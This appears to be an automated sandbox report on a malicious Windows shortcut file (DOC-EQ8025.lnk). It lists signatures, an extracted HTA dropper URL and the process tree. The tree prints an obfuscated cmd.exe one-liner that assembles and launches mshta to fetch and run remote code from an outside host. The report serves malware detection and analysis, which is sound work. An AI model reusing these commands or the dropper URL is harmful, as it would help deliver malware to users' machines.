Analysis

  • max time kernel
    60s
  • max time network
    47s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 06:02

General

  • Target
    DOC-EQ8025.lnk
  • Size 2KB
  • Sample260817-grfa7atgrb
  • SHA256 120fc4fea87eae5dcd002d8689c8a51379fdec4b5047a30a420d0abe30100657
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-EQ8025.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4632
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /v:on /C "set KcFj=bakpzcmknjvhevujdpkpcsbak&set COPY=5ms2bm&&set DoEI=4hqbh&&set GWCSH=stan&set sV=cachewhwtqdypmzyfrdoqcache&set db=bakfdrcivqsrwojdhpacbak&set zFio=winzmjjwin&set PF=tmpvwckdyzzaxnyyvhjtmp&set cj=datspodkmpmdat&set cvnT=olduykjwgrttemold&set FRZxB=baksvzlbak&set xHSG=winibmmjllksqbspdshewin&set JPIkF=vsi3f&&set Qz=ktam9f&&set EiP=h4rtn&set pXIHC=datedftumsdat&set sxaN=oldgwqbyaehnxelxqnrold&&set EsA=https://k-@do@cum@e@n@tac@i@on.@la@t@/@h/@estag@i@o@1@.@p@h@p?r=3F14@77F@1@5398D1&&start /b !COPY:~1,2!!DoEI:~1,1!!GWCSH:~1,2! !EsA:@=!&&set kxi=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4108
      • C:\Windows\System32\mshta.exe
        mshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
        3⤵
          PID:1388

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads